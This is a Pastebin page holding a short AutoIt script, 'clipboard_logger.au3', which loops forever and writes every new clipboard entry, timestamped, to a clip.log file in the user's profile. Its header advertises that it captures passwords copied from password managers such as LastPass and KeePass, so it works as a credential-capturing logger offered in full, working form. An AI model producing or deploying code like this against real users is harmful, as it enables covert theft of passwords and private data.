Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ; URL : https://github.com/geekcomputers/AutoIt/blob/master/clipboard_logger.au3
- ; Script Name : clipboard_logger.au3
- ; Author : Craig Richards
- ; Created : 25th January 2012
- ; Last Modified :
- ; Version : 1.0
- ; Modifications :
- ; Description : Will log all contents added to the clipboard, even if they use 1Passwd, Keypass, Lastpass etc
- #Include <clipboard.au3> ; Include the Clipboard Header file
- #Include <File.au3> ; Include the File Header file
- $oldclip="" ; Set the variable $oldclip to be blank
- While 1 ; While True, so continually run
- $clip=_Clipboard_GetData() ; Sets the variable clip, which gets the contents of the clipboard
- If $clip <> "0" Then ; If clip isn't zero then,
- If $clip <> $oldclip Then ; Don't log the same clipboard text over and over, if nothing has come in in 100 milliseconds
- _FileWriteLog(@UserProfileDir & "\clip.log", $clip) ; Write out to the clip.log file, this entry in timestamped.
- $oldclip = $clip ; Make oldclip the same as clip for this instance
- EndIf ; End the First IF Statement
- EndIf ; End of the Second IF Statement
- Sleep(100) ; Sleep for 100 Milliseconds
- WEnd ; End of the while loop
Advertisement